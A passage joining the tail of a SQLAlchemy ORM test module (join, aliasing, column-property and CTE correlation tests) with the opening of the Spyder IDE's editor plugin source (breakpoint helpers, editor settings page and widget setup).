users ON users.id = addresses.user_id", ) def test_join(self): users, Address, addresses, User = ( self.tables.users, self.classes.Address, self.tables.addresses, self.classes.User, ) self.mapper_registry.map_imperatively( User, users, properties={"addresses": relationship(Address)} ) self.mapper_registry.map_imperatively(Address, addresses) sel = users.select().where(users.c.id.in_([7, 8])) sess = fixture_session() eq_( sess.query(User) .select_entity_from(sel.subquery()) .join("addresses") .add_entity(Address) .order_by(User.id) .order_by(Address.id) .all(), [ ( User(name="jack", id=7), Address(user_id=7, email_address="jack@bean.com", id=1), ), ( User(name="ed", id=8), Address(user_id=8, email_address="ed@wood.com", id=2), ), ( User(name="ed", id=8), Address(user_id=8, email_address="ed@bettyboop.com", id=3), ), ( User(name="ed", id=8), Address(user_id=8, email_address="ed@lala.com", id=4), ), ], ) adalias = aliased(Address) eq_( sess.query(User) .select_entity_from(sel.subquery()) .join(adalias, "addresses") .add_entity(adalias) .order_by(User.id) .order_by(adalias.id) .all(), [ ( User(name="jack", id=7), Address(user_id=7, email_address="jack@bean.com", id=1), ), ( User(name="ed", id=8), Address(user_id=8, email_address="ed@wood.com", id=2), ), ( User(name="ed", id=8), Address(user_id=8, email_address="ed@bettyboop.com", id=3), ), ( User(name="ed", id=8), Address(user_id=8, email_address="ed@lala.com", id=4), ), ], ) def test_more_joins(self): ( users, Keyword, orders, items, order_items, Order, Item, User, keywords, item_keywords, ) = ( self.tables.users, self.classes.Keyword, self.tables.orders, self.tables.items, self.tables.order_items, self.classes.Order, self.classes.Item, self.classes.User, self.tables.keywords, self.tables.item_keywords, ) self.mapper_registry.map_imperatively( User, users, properties={"orders": relationship(Order, backref="user")}, ) # o2m, m2o self.mapper_registry.map_imperatively( Order, orders, properties={ "items": relationship( Item, secondary=order_items, order_by=items.c.id ) }, ) # m2m self.mapper_registry.map_imperatively( Item, items, properties={ "keywords": relationship( Keyword, secondary=item_keywords, order_by=keywords.c.id ) }, ) # m2m self.mapper_registry.map_imperatively(Keyword, keywords) sess = fixture_session() sel = users.select().where(users.c.id.in_([7, 8])) eq_( sess.query(User) .select_entity_from(sel.subquery()) .join(User.orders, Order.items, Item.keywords) .filter(Keyword.name.in_(["red", "big", "round"])) .all(), [User(name="jack", id=7)], ) def test_very_nested_joins_with_joinedload(self): ( users, Keyword, orders, items, order_items, Order, Item, User, keywords, item_keywords, ) = ( self.tables.users, self.classes.Keyword, self.tables.orders, self.tables.items, self.tables.order_items, self.classes.Order, self.classes.Item, self.classes.User, self.tables.keywords, self.tables.item_keywords, ) self.mapper_registry.map_imperatively( User, users, properties={"orders": relationship(Order, backref="user")}, ) # o2m, m2o self.mapper_registry.map_imperatively( Order, orders, properties={ "items": relationship( Item, secondary=order_items, order_by=items.c.id ) }, ) # m2m self.mapper_registry.map_imperatively( Item, items, properties={ "keywords": relationship( Keyword, secondary=item_keywords, order_by=keywords.c.id ) }, ) # m2m self.mapper_registry.map_imperatively(Keyword, keywords) sess = fixture_session() sel = users.select().where(users.c.id.in_([7, 8])) def go(): eq_( sess.query(User) .select_entity_from(sel.subquery()) .options( joinedload("orders") .joinedload("items") .joinedload("keywords") ) .join(User.orders, Order.items, Item.keywords) .filter(Keyword.name.in_(["red", "big", "round"])) .all(), [ User( name="jack", orders=[ Order( description="order 1", items=[ Item( description="item 1", keywords=[ Keyword(name="red"), Keyword(name="big"), Keyword(name="round"), ], ), Item( description="item 2", keywords=[ Keyword(name="red", id=2), Keyword(name="small", id=5), Keyword(name="square"), ], ), Item( description="item 3", keywords=[ Keyword(name="green", id=3), Keyword(name="big", id=4), Keyword(name="round", id=6), ], ), ], ), Order( description="order 3", items=[ Item( description="item 3", keywords=[ Keyword(name="green", id=3), Keyword(name="big", id=4), Keyword(name="round", id=6), ], ), Item( description="item 4", keywords=[], id=4 ), Item( description="item 5", keywords=[], id=5 ), ], ), Order( description="order 5", items=[ Item(description="item 5", keywords=[]) ], ), ], ) ], ) self.assert_sql_count(testing.db, go, 1) sess.expunge_all() sel2 = orders.select().where(orders.c.id.in_([1, 2, 3])) eq_( sess.query(Order) .select_entity_from(sel2.subquery()) .join(Order.items) .join(Item.keywords) .filter(Keyword.name == "red") .order_by(Order.id) .all(), [ Order(description="order 1", id=1), Order(description="order 2", id=2), ], ) def test_replace_with_eager(self): users, Address, addresses, User = ( self.tables.users, self.classes.Address, self.tables.addresses, self.classes.User, ) self.mapper_registry.map_imperatively( User, users, properties={ "addresses": relationship(Address, order_by=addresses.c.id) }, ) self.mapper_registry.map_imperatively(Address, addresses) sel = users.select().where(users.c.id.in_([7, 8])) sess = fixture_session() def go(): eq_( sess.query(User) .options(joinedload("addresses")) .select_entity_from(sel.subquery()) .order_by(User.id) .all(), [ User(id=7, addresses=[Address(id=1)]), User( id=8, addresses=[ Address(id=2), Address(id=3), Address(id=4), ], ), ], ) self.assert_sql_count(testing.db, go, 1) sess.expunge_all() def go(): eq_( sess.query(User) .options(joinedload("addresses")) .select_entity_from(sel.subquery()) .filter(User.id == 8) .order_by(User.id) .all(), [ User( id=8, addresses=[ Address(id=2), Address(id=3), Address(id=4), ], ) ], ) self.assert_sql_count(testing.db, go, 1) sess.expunge_all() def go(): eq_( sess.query(User) .options(joinedload("addresses")) .select_entity_from(sel.subquery()) .order_by(User.id)[1], User( id=8, addresses=[Address(id=2), Address(id=3), Address(id=4)], ), ) self.assert_sql_count(testing.db, go, 1) class CustomJoinTest(QueryTest): run_setup_mappers = None def test_double_same_mappers_flag_alias(self): """test aliasing of joins with a custom join condition""" ( addresses, items, order_items, orders, Item, User, Address, Order, users, ) = ( self.tables.addresses, self.tables.items, self.tables.order_items, self.tables.orders, self.classes.Item, self.classes.User, self.classes.Address, self.classes.Order, self.tables.users, ) self.mapper_registry.map_imperatively(Address, addresses) self.mapper_registry.map_imperatively( Order, orders, properties={ "items": relationship( Item, secondary=order_items, lazy="select", order_by=items.c.id, ) }, ) self.mapper_registry.map_imperatively(Item, items) self.mapper_registry.map_imperatively( User, users, properties=dict( addresses=relationship(Address, lazy="select"), open_orders=relationship( Order, primaryjoin=and_( orders.c.isopen == 1, users.c.id == orders.c.user_id ), lazy="select", viewonly=True, ), closed_orders=relationship( Order, primaryjoin=and_( orders.c.isopen == 0, users.c.id == orders.c.user_id ), lazy="select", viewonly=True, ), ), ) q = fixture_session().query(User) eq_( q.join("open_orders", "items", aliased=True) .filter(Item.id == 4) .join("closed_orders", "items", aliased=True) .filter(Item.id == 3) .all(), [User(id=7)], ) def test_double_same_mappers_explicit_alias(self): """test aliasing of joins with a custom join condition""" ( addresses, items, order_items, orders, Item, User, Address, Order, users, ) = ( self.tables.addresses, self.tables.items, self.tables.order_items, self.tables.orders, self.classes.Item, self.classes.User, self.classes.Address, self.classes.Order, self.tables.users, ) self.mapper_registry.map_imperatively(Address, addresses) self.mapper_registry.map_imperatively( Order, orders, properties={ "items": relationship( Item, secondary=order_items, lazy="select", order_by=items.c.id, ) }, ) self.mapper_registry.map_imperatively(Item, items) self.mapper_registry.map_imperatively( User, users, properties=dict( addresses=relationship(Address, lazy="select"), open_orders=relationship( Order, primaryjoin=and_( orders.c.isopen == 1, users.c.id == orders.c.user_id ), lazy="select", viewonly=True, ), closed_orders=relationship( Order, primaryjoin=and_( orders.c.isopen == 0, users.c.id == orders.c.user_id ), lazy="select", viewonly=True, ), ), ) q = fixture_session().query(User) oo = aliased(Order) co = aliased(Order) oi = aliased(Item) ci = aliased(Item) # converted from aliased=True. This is kind of the worst case # kind of query when we don't have aliased=True. two different # styles are illustrated here, but the important point is that # the filter() is not doing any trickery, you need to pass it the # aliased entity explicitly. eq_( q.join(oo, User.open_orders) .join(oi, oo.items) .filter(oi.id == 4) .join(User.closed_orders.of_type(co)) .join(co.items.of_type(ci)) .filter(ci.id == 3) .all(), [User(id=7)], ) class ExternalColumnsTest(QueryTest): """test mappers with SQL-expressions added as column properties.""" run_setup_mappers = None def test_external_columns_bad(self): users, User = self.tables.users, self.classes.User assert_raises_message( sa_exc.ArgumentError, "not represented in the mapper's table", self.mapper_registry.map_imperatively, User, users, properties={"concat": (users.c.id * 2)}, ) clear_mappers() def test_external_columns(self): """test querying mappings that reference external columns or selectables.""" users, Address, addresses, User = ( self.tables.users, self.classes.Address, self.tables.addresses, self.classes.User, ) self.mapper_registry.map_imperatively( User, users, properties={ "concat": column_property((users.c.id * 2)), "count": column_property( select(func.count(addresses.c.id)) .where( users.c.id == addresses.c.user_id, ) .correlate(users) .scalar_subquery() ), }, ) self.mapper_registry.map_imperatively( Address, addresses, properties={ "user": relationship( User, ) }, ) sess = fixture_session() sess.query(Address).options(joinedload("user")).all() eq_( sess.query(User).all(), [ User(id=7, concat=14, count=1), User(id=8, concat=16, count=3), User(id=9, concat=18, count=1), User(id=10, concat=20, count=0), ], ) address_result = [ Address(id=1, user=User(id=7, concat=14, count=1)), Address(id=2, user=User(id=8, concat=16, count=3)), Address(id=3, user=User(id=8, concat=16, count=3)), Address(id=4, user=User(id=8, concat=16, count=3)), Address(id=5, user=User(id=9, concat=18, count=1)), ] # TODO: ISSUE: BUG: cached metadata is confusing the user.id # column here with the anon_1 for some reason, when we # use compiled cache. this bug may even be present in # regular master / 1.3. right now the caching of result # metadata is disabled. eq_(sess.query(Address).all(), address_result) # run the eager version twice to test caching of aliased clauses for x in range(2): sess.expunge_all() def go(): eq_( sess.query(Address) .options(joinedload("user")) .order_by(Address.id) .all(), address_result, ) self.assert_sql_count(testing.db, go, 1) ualias = aliased(User) eq_( sess.query(Address, ualias).join(ualias, "user").all(), [(address, address.user) for address in address_result], ) ualias2 = aliased(User) eq_( sess.query(Address, ualias.count) .join(ualias, "user") .join(ualias2, "user") .order_by(Address.id) .all(), [ (Address(id=1), 1), (Address(id=2), 3), (Address(id=3), 3), (Address(id=4), 3), (Address(id=5), 1), ], ) eq_( sess.query(Address, ualias.concat, ualias.count) .join(ualias, "user") .join(ualias2, "user") .order_by(Address.id) .all(), [ (Address(id=1), 14, 1), (Address(id=2), 16, 3), (Address(id=3), 16, 3), (Address(id=4), 16, 3), (Address(id=5), 18, 1), ], ) ua = aliased(User) eq_( sess.query(Address, ua.concat, ua.count) .select_entity_from(join(Address, ua, "user")) .options(joinedload(Address.user)) .order_by(Address.id) .all(), [ (Address(id=1, user=User(id=7, concat=14, count=1)), 14, 1), (Address(id=2, user=User(id=8, concat=16, count=3)), 16, 3), (Address(id=3, user=User(id=8, concat=16, count=3)), 16, 3), (Address(id=4, user=User(id=8, concat=16, count=3)), 16, 3), (Address(id=5, user=User(id=9, concat=18, count=1)), 18, 1), ], ) eq_( list( sess.query(Address) .join("user") .with_entities(Address.id, User.id, User.concat, User.count) ), [ (1, 7, 14, 1), (2, 8, 16, 3), (3, 8, 16, 3), (4, 8, 16, 3), (5, 9, 18, 1), ], ) eq_( list( sess.query(Address, ua) .select_entity_from(join(Address, ua, "user")) .with_entities(Address.id, ua.id, ua.concat, ua.count) ), [ (1, 7, 14, 1), (2, 8, 16, 3), (3, 8, 16, 3), (4, 8, 16, 3), (5, 9, 18, 1), ], ) def test_external_columns_joinedload(self): users, orders, User, Address, Order, addresses = ( self.tables.users, self.tables.orders, self.classes.User, self.classes.Address, self.classes.Order, self.tables.addresses, ) # in this test, we have a subquery on User that accesses "addresses", # underneath an joinedload for "addresses". So the "addresses" alias # adapter needs to *not* hit the "addresses" table within the "user" # subquery, but "user" still needs to be adapted. therefore the long # standing practice of eager adapters being "chained" has been removed # since its unnecessary and breaks this exact condition. self.mapper_registry.map_imperatively( User, users, properties={ "addresses": relationship( Address, backref="user", order_by=addresses.c.id ), "concat": column_property((users.c.id * 2)), "count": column_property( select(func.count(addresses.c.id)) .where( users.c.id == addresses.c.user_id, ) .correlate(users) .scalar_subquery() ), }, ) self.mapper_registry.map_imperatively(Address, addresses) self.mapper_registry.map_imperatively( Order, orders, properties={"address": relationship(Address)} ) # m2o sess = fixture_session() def go(): o1 = ( sess.query(Order) .options(joinedload("address").joinedload("user")) .get(1) ) eq_(o1.address.user.count, 1) self.assert_sql_count(testing.db, go, 1) sess = fixture_session() def go(): o1 = ( sess.query(Order) .options(joinedload("address").joinedload("user")) .first() ) eq_(o1.address.user.count, 1) self.assert_sql_count(testing.db, go, 1) def test_external_columns_compound(self): # see [ticket:2167] for background users, Address, addresses, User = ( self.tables.users, self.classes.Address, self.tables.addresses, self.classes.User, ) self.mapper_registry.map_imperatively( User, users, properties={"fullname": column_property(users.c.name.label("x"))}, ) self.mapper_registry.map_imperatively( Address, addresses, properties={ "username": column_property( select(User.fullname) .where(User.id == addresses.c.user_id) .label("y") ) }, ) sess = fixture_session() a1 = sess.query(Address).first() eq_(a1.username, "jack") sess = fixture_session() subq = sess.query(Address).subquery() aa = aliased(Address, subq) a1 = sess.query(aa).first() eq_(a1.username, "jack") class TestOverlyEagerEquivalentCols(fixtures.MappedTest): @classmethod def define_tables(cls, metadata): Table( "base", metadata, Column( "id", Integer, primary_key=True, test_needs_autoincrement=True ), Column("data", String(50)), ) Table( "sub1", metadata, Column("id", Integer, ForeignKey("base.id"), primary_key=True), Column("data", String(50)), ) Table( "sub2", metadata, Column( "id", Integer, ForeignKey("base.id"), ForeignKey("sub1.id"), primary_key=True, ), Column("data", String(50)), ) def test_equivs(self): base, sub2, sub1 = ( self.tables.base, self.tables.sub2, self.tables.sub1, ) class Base(fixtures.ComparableEntity): pass class Sub1(fixtures.ComparableEntity): pass class Sub2(fixtures.ComparableEntity): pass self.mapper_registry.map_imperatively( Base, base, properties={ "sub1": relationship(Sub1), "sub2": relationship(Sub2), }, ) self.mapper_registry.map_imperatively(Sub1, sub1) self.mapper_registry.map_imperatively(Sub2, sub2) sess = fixture_session() s11 = Sub1(data="s11") s12 = Sub1(data="s12") b1 = Base(data="b1", sub1=[s11], sub2=[]) b2 = Base(data="b1", sub1=[s12], sub2=[]) sess.add(b1) sess.add(b2) sess.flush() class LabelCollideTest(fixtures.MappedTest): """Test handling for a label collision. This collision is handled by core, see ticket:2702 as well as test/sql/test_selectable->WithLabelsTest. here we want to make sure the end result is as we expect. """ @classmethod def define_tables(cls, metadata): Table( "foo", metadata, Column("id", Integer, primary_key=True), Column("bar_id", Integer), ) Table("foo_bar", metadata, Column("id", Integer, primary_key=True)) @classmethod def setup_classes(cls): class Foo(cls.Basic): pass class Bar(cls.Basic): pass @classmethod def setup_mappers(cls): cls.mapper_registry.map_imperatively(cls.classes.Foo, cls.tables.foo) cls.mapper_registry.map_imperatively( cls.classes.Bar, cls.tables.foo_bar ) @classmethod def insert_data(cls, connection): s = Session(connection) s.add_all([cls.classes.Foo(id=1, bar_id=2), cls.classes.Bar(id=3)]) s.commit() def test_overlap_plain(self): s = fixture_session() row = ( s.query(self.classes.Foo, self.classes.Bar) .join(self.classes.Bar, true()) .all()[0] ) def go(): eq_(row.Foo.id, 1) eq_(row.Foo.bar_id, 2) eq_(row.Bar.id, 3) # all three columns are loaded independently without # overlap, no additional SQL to load all attributes self.assert_sql_count(testing.db, go, 0) def test_overlap_subquery(self): s = fixture_session() subq = ( s.query(self.classes.Foo, self.classes.Bar) .join(self.classes.Bar, true()) .subquery() ) fa = aliased(self.classes.Foo, subq, name="Foo") ba = aliased(self.classes.Bar, subq, name="Bar") row = s.query(fa, ba).all()[0] def go(): eq_(row.Foo.id, 1) eq_(row.Foo.bar_id, 2) eq_(row.Bar.id, 3) # all three columns are loaded independently without # overlap, no additional SQL to load all attributes self.assert_sql_count(testing.db, go, 0) class CorrelateORMTest(fixtures.TestBase, testing.AssertsCompiledSQL): __dialect__ = "default" @testing.fixture def mapping(self): Base = declarative_base() def go(include_property, correlate_style, include_from): class Address(Base): __tablename__ = "addresses" id = Column(Integer, primary_key=True) user_id = Column( Integer, ForeignKey("users.id"), nullable=False ) city = Column(Text) class User(Base): __tablename__ = "users" id = Column(Integer, primary_key=True) name = Column(Text) stmt = select(func.count(Address.id)).where( Address.user_id == User.id ) if include_from: stmt = stmt.select_from(Address) if include_property: if correlate_style == "correlate": User.total_addresses = column_property( stmt.correlate(User).scalar_subquery() ) elif correlate_style == "correlate_except": User.total_addresses = column_property( stmt.correlate_except(Address).scalar_subquery() ) elif correlate_style is None: User.total_addresses = column_property( stmt.scalar_subquery() ) total_addresses = None else: def total_addresses(cls): stmt = select(func.count(Address.id)).where( Address.user_id == cls.id ) if correlate_style == "correlate": stmt = stmt.correlate(cls) elif correlate_style == "correlate_except": stmt = stmt.correlate_except(Address) stmt = stmt.scalar_subquery() return stmt return User, Address, total_addresses yield go Base.registry.dispose() def _combinations(fn): return testing.combinations( (True,), (False,), argnames="include_property" )( testing.combinations( ("correlate",), ("correlate_except",), (None,), argnames="correlate_style", )( testing.combinations( (True,), (False), argnames="include_from" )(fn) ) ) @_combinations def test_correlate_to_cte_legacy( self, mapping, include_property, correlate_style, include_from ): User, Address, total_addresses = mapping( include_property, correlate_style, include_from ) session = fixture_session() filtered_users = ( session.query(User.id, User.name) .join(Address) .filter(Address.city == "somewhere") .cte("filtered_users") ) filtered_users_alias = aliased(User, filtered_users) paginated_users = ( session.query(filtered_users_alias.id, filtered_users_alias.name) .order_by(func.lower(filtered_users_alias.name).asc()) .limit(25) .cte("paginated_users") ) paginated_users_alias = aliased(User, paginated_users) if total_addresses: q = session.query( paginated_users_alias, total_addresses(paginated_users_alias) ) else: q = session.query(paginated_users_alias) self.assert_compile( q, "WITH filtered_users AS " "(SELECT users.id AS id, users.name AS name " "FROM users JOIN addresses ON users.id = addresses.user_id " "WHERE addresses.city = :city_1), " "paginated_users AS (SELECT filtered_users.id AS id, " "filtered_users.name AS name FROM filtered_users " "ORDER BY lower(filtered_users.name) ASC LIMIT :param_1) " "SELECT " "paginated_users.id AS paginated_users_id, " "paginated_users.name AS paginated_users_name, " "(SELECT count(addresses.id) AS count_1 FROM addresses " "WHERE addresses.user_id = paginated_users.id) AS anon_1 " "FROM paginated_users", )
codeparrot/github-code-clean
# -*- coding: utf-8 -*- # # Copyright © 2009-2010 Pierre Raybaut # Licensed under the terms of the MIT License # (see spyderlib/__init__.py for details) """Editor Plugin""" # pylint: disable=C0103 # pylint: disable=R0903 # pylint: disable=R0911 # pylint: disable=R0201 from spyderlib.qt.QtGui import (QVBoxLayout, QPrintDialog, QSplitter, QToolBar, QAction, QApplication, QDialog, QWidget, QPrinter, QActionGroup, QInputDialog, QMenu, QAbstractPrintDialog, QGroupBox, QTabWidget, QLabel, QFontComboBox, QHBoxLayout) from spyderlib.qt.QtCore import SIGNAL, QByteArray, Qt, Slot from spyderlib.qt.compat import to_qvariant, from_qvariant, getopenfilenames import os import time import re import os.path as osp # Local imports from spyderlib.utils import encoding, sourcecode, codeanalysis from spyderlib.baseconfig import get_conf_path, _ from spyderlib.config import get_icon, CONF, get_color_scheme, EDIT_FILTERS from spyderlib.utils import programs from spyderlib.utils.qthelpers import (create_action, add_actions, get_std_icon, get_filetype_icon) from spyderlib.widgets.findreplace import FindReplace from spyderlib.widgets.editor import (ReadWriteStatus, EncodingStatus, CursorPositionStatus, EOLStatus, EditorSplitter, EditorStack, Printer, EditorMainWindow) from spyderlib.plugins import SpyderPluginWidget, PluginConfigPage from spyderlib.plugins.runconfig import (RunConfigDialog, RunConfigOneDialog, get_run_configuration) def _load_all_breakpoints(): bp_dict = CONF.get('run', 'breakpoints', {}) for filename in bp_dict.keys(): if not osp.isfile(filename): bp_dict.pop(filename) return bp_dict def load_breakpoints(filename): breakpoints = _load_all_breakpoints().get(filename, []) if breakpoints and isinstance(breakpoints[0], int): # Old breakpoints format breakpoints = [(lineno, None) for lineno in breakpoints] return breakpoints def save_breakpoints(filename, breakpoints): if not osp.isfile(filename): return bp_dict = _load_all_breakpoints() bp_dict[filename] = breakpoints CONF.set('run', 'breakpoints', bp_dict) def clear_all_breakpoints(): CONF.set('run', 'breakpoints', {}) WINPDB_PATH = programs.find_program('winpdb') class EditorConfigPage(PluginConfigPage): def __init__(self, plugin, parent): PluginConfigPage.__init__(self, plugin, parent) self.get_name = lambda: _("Editor") def setup_page(self): template_btn = self.create_button(_("Edit template for new modules"), self.plugin.edit_template) interface_group = QGroupBox(_("Interface")) font_group = self.create_fontgroup(option=None, text=_("Text and margin font style"), fontfilters=QFontComboBox.MonospacedFonts) newcb = self.create_checkbox fpsorting_box = newcb(_("Sort files according to full path"), 'fullpath_sorting') showtabbar_box = newcb(_("Show tab bar"), 'show_tab_bar') interface_layout = QVBoxLayout() interface_layout.addWidget(fpsorting_box) interface_layout.addWidget(showtabbar_box) interface_group.setLayout(interface_layout) display_group = QGroupBox(_("Source code")) linenumbers_box = newcb(_("Show line numbers"), 'line_numbers') edgeline_box = newcb(_("Show vertical line after"), 'edge_line') edgeline_spin = self.create_spinbox("", _("characters"), 'edge_line_column', 79, 1, 500) self.connect(edgeline_box, SIGNAL("toggled(bool)"), edgeline_spin.setEnabled) edgeline_spin.setEnabled(self.get_option('edge_line')) edgeline_layout = QHBoxLayout() edgeline_layout.addWidget(edgeline_box) edgeline_layout.addWidget(edgeline_spin) currentline_box = newcb(_("Highlight current line"), 'highlight_current_line', default=True) occurence_box = newcb(_("Highlight occurences after"), 'occurence_highlighting', default=True) occurence_spin = self.create_spinbox("", " ms", 'occurence_highlighting/timeout', min_=100, max_=1000000, step=100) self.connect(occurence_box, SIGNAL("toggled(bool)"), occurence_spin.setEnabled) occurence_layout = QHBoxLayout() occurence_layout.addWidget(occurence_box) occurence_layout.addWidget(occurence_spin) wrap_mode_box = newcb(_("Wrap lines"), 'wrap') names = CONF.get('color_schemes', 'names') choices = zip(names, names) cs_combo = self.create_combobox(_("Syntax color scheme: "), choices, 'color_scheme_name') display_layout = QVBoxLayout() display_layout.addWidget(linenumbers_box) display_layout.addLayout(edgeline_layout) display_layout.addWidget(currentline_box) display_layout.addLayout(occurence_layout) display_layout.addWidget(wrap_mode_box) display_layout.addWidget(cs_combo) display_group.setLayout(display_layout) run_group = QGroupBox(_("Run")) saveall_box = newcb(_("Save all files before running script"), 'save_all_before_run', True) introspection_group = QGroupBox(_("Introspection")) rope_is_installed = programs.is_module_installed('rope') if rope_is_installed: completion_box = newcb(_("Automatic code completion"), 'codecompletion/auto') case_comp_box = newcb(_("Case sensitive code completion"), 'codecompletion/case_sensitive') show_single_box = newcb(_("Show single completion"), 'codecompletion/show_single') comp_enter_box = newcb(_("Enter key selects completion"), 'codecompletion/enter_key') calltips_box = newcb(_("Balloon tips"), 'calltips') gotodef_box = newcb(_("Link to object definition"), 'go_to_definition', tip=_("If this option is enabled, clicking on an object\n" "name (left-click + Ctrl key) will go this object\n" "definition (if resolved).")) inspector_box = newcb( _("Automatic notification to object inspector"), 'object_inspector', default=True, tip=_("If this option is enabled, object inspector\n" "will automatically show informations on functions\n" "entered in editor (this is triggered when entering\n" "a left parenthesis after a valid function name)")) else: rope_label = QLabel(_("<b>Warning:</b><br>" "The Python module <i>rope</i> is not " "installed on this computer: calltips, " "code completion and go-to-definition " "features won't be available.")) rope_label.setWordWrap(True) sourcecode_group = QGroupBox(_("Source code")) closepar_box = newcb(_("Automatic parentheses, braces and " "brackets insertion"), 'close_parentheses') autounindent_box = newcb(_("Automatic indentation after 'else', " "'elif', etc."), 'auto_unindent') indent_chars_box = self.create_combobox(_("Indentation characters: "), ((_("4 spaces"), '* *'), (_("2 spaces"), '* *'), (_("tab"), '*\t*')), 'indent_chars') tabwidth_spin = self.create_spinbox(_("Tab stop width:"), _("pixels"), 'tab_stop_width', 40, 10, 1000, 10) tab_mode_box = newcb(_("Tab always indent"), 'tab_always_indent', default=False, tip=_("If enabled, pressing Tab will always indent,\n" "even when the cursor is not at the beginning\n" "of a line (when this option is enabled, code\n" "completion may be triggered using the alternate\n" "shortcut: Ctrl+Space)")) ibackspace_box = newcb(_("Intelligent backspace"), 'intelligent_backspace', default=True) removetrail_box = newcb(_("Automatically remove trailing spaces " "when saving files"), 'always_remove_trailing_spaces', default=False) analysis_group = QGroupBox(_("Analysis")) pep8_url = '<a href="http://www.python.org/dev/peps/pep-0008/">PEP8</a>' analysis_label = QLabel(_("<u>Note</u>: add <b>analysis:ignore</b> in " "a comment to ignore code/style analysis " "warnings. For more informations on style " "guide for Python code, please refer to the " "%s page.") % pep8_url) analysis_label.setWordWrap(True) is_pyflakes = codeanalysis.is_pyflakes_installed() is_pep8 = codeanalysis.get_checker_executable('pep8') is not None analysis_label.setEnabled(is_pyflakes or is_pep8) pyflakes_box = newcb(_("Code analysis")+" (pyflakes)", 'code_analysis/pyflakes', default=True, tip=_("If enabled, Python source code will be analyzed\n" "using pyflakes, lines containing errors or \n" "warnings will be highlighted")) pyflakes_box.setEnabled(is_pyflakes) if not is_pyflakes: pyflakes_box.setToolTip(_("Code analysis requires pyflakes %s+") % codeanalysis.PYFLAKES_REQVER) pep8_box = newcb(_("Style analysis")+' (pep8)', 'code_analysis/pep8', default=False, tip=_('If enabled, Python source code will be analyzed\n' 'using pep8, lines that are not following PEP8\n' 'style guide will be highlighted')) pep8_box.setEnabled(is_pep8) ancb_layout = QHBoxLayout() ancb_layout.addWidget(pyflakes_box) ancb_layout.addWidget(pep8_box) todolist_box = newcb(_("Tasks (TODO, FIXME, XXX, HINT, TIP)"), 'todo_list', default=True) realtime_radio = self.create_radiobutton( _("Perform analysis when " "saving file and every"), 'realtime_analysis', True) saveonly_radio = self.create_radiobutton( _("Perform analysis only " "when saving file"), 'onsave_analysis', False) af_spin = self.create_spinbox("", " ms", 'realtime_analysis/timeout', min_=100, max_=1000000, step=100) af_layout = QHBoxLayout() af_layout.addWidget(realtime_radio) af_layout.addWidget(af_spin) run_layout = QVBoxLayout() run_layout.addWidget(saveall_box) run_group.setLayout(run_layout) introspection_layout = QVBoxLayout() if rope_is_installed: introspection_layout.addWidget(calltips_box) introspection_layout.addWidget(completion_box) introspection_layout.addWidget(case_comp_box) introspection_layout.addWidget(show_single_box) introspection_layout.addWidget(comp_enter_box) introspection_layout.addWidget(gotodef_box) introspection_layout.addWidget(inspector_box) else: introspection_layout.addWidget(rope_label) introspection_group.setLayout(introspection_layout) analysis_layout = QVBoxLayout() analysis_layout.addWidget(analysis_label) analysis_layout.addLayout(ancb_layout) analysis_layout.addWidget(todolist_box) analysis_layout.addLayout(af_layout) analysis_layout.addWidget(saveonly_radio) analysis_group.setLayout(analysis_layout) sourcecode_layout = QVBoxLayout() sourcecode_layout.addWidget(closepar_box) sourcecode_layout.addWidget(autounindent_box) sourcecode_layout.addWidget(indent_chars_box) sourcecode_layout.addWidget(tabwidth_spin) sourcecode_layout.addWidget(tab_mode_box) sourcecode_layout.addWidget(ibackspace_box) sourcecode_layout.addWidget(removetrail_box) sourcecode_group.setLayout(sourcecode_layout) eol_group = QGroupBox(_("End-of-line characters")) eol_label = QLabel(_("When opening a text file containing " "mixed end-of-line characters (this may " "raise syntax errors in Python interpreter " "on Windows platforms), Spyder may fix the " "file automatically.")) eol_label.setWordWrap(True) check_eol_box = newcb(_("Fix automatically and show warning " "message box"), 'check_eol_chars', default=True) eol_layout = QVBoxLayout() eol_layout.addWidget(eol_label) eol_layout.addWidget(check_eol_box) eol_group.setLayout(eol_layout) tabs = QTabWidget() tabs.addTab(self.create_tab(font_group, interface_group, display_group), _("Display")) tabs.addTab(self.create_tab(introspection_group, analysis_group), _("Code Introspection/Analysis")) tabs.addTab(self.create_tab(template_btn, run_group, sourcecode_group, eol_group), _("Advanced settings")) vlayout = QVBoxLayout() vlayout.addWidget(tabs) self.setLayout(vlayout) class Editor(SpyderPluginWidget): """ Multi-file Editor widget """ CONF_SECTION = 'editor' CONFIGWIDGET_CLASS = EditorConfigPage TEMPFILE_PATH = get_conf_path('.temp.py') TEMPLATE_PATH = get_conf_path('template.py') DISABLE_ACTIONS_WHEN_HIDDEN = False # SpyderPluginWidget class attribute def __init__(self, parent, ignore_last_opened_files=False): SpyderPluginWidget.__init__(self, parent) self.__set_eol_chars = True self.set_default_color_scheme() # Creating template if it doesn't already exist if not osp.isfile(self.TEMPLATE_PATH): header = ['# -*- coding: utf-8 -*-', '"""', 'Created on %(date)s', '', '@author: %(username)s', '"""', ''] encoding.write(os.linesep.join(header), self.TEMPLATE_PATH, 'utf-8') self.projectexplorer = None self.outlineexplorer = None self.inspector = None self.editorstacks = None self.editorwindows = None self.editorwindows_to_be_created = None self.file_dependent_actions = [] self.pythonfile_dependent_actions = [] self.dock_toolbar_actions = None self.edit_menu_actions = None #XXX: find another way to notify Spyder # (see spyder.py: 'update_edit_menu' method) self.search_menu_actions = None #XXX: same thing ('update_search_menu') self.stack_menu_actions = None # Initialize plugin self.initialize_plugin() # Configuration dialog size self.configdialog_size = None statusbar = self.main.statusBar() self.readwrite_status = ReadWriteStatus(self, statusbar) self.eol_status = EOLStatus(self, statusbar) self.encoding_status = EncodingStatus(self, statusbar) self.cursorpos_status = CursorPositionStatus(self, statusbar) layout = QVBoxLayout() self.dock_toolbar = QToolBar(self) add_actions(self.dock_toolbar, self.dock_toolbar_actions) layout.addWidget(self.dock_toolbar) self.last_edit_cursor_pos = None self.cursor_pos_history = [] self.cursor_pos_index = None self.__ignore_cursor_position = True self.editorstacks = [] self.last_focus_editorstack = {} self.editorwindows = [] self.editorwindows_to_be_created = [] self.toolbar_list = None self.menu_list = None # Setup new windows: self.connect(self.main, SIGNAL('all_actions_defined()'), self.setup_other_windows) # Find widget self.find_widget = FindReplace(self, enable_replace=True) self.find_widget.hide() self.register_widget_shortcuts("Editor", self.find_widget) # Tabbed editor widget + Find/Replace widget editor_widgets = QWidget(self) editor_layout = QVBoxLayout() editor_layout.setContentsMargins(0, 0, 0, 0) editor_widgets.setLayout(editor_layout) self.editorsplitter = EditorSplitter(self, self, self.stack_menu_actions, first=True) editor_layout.addWidget(self.editorsplitter) 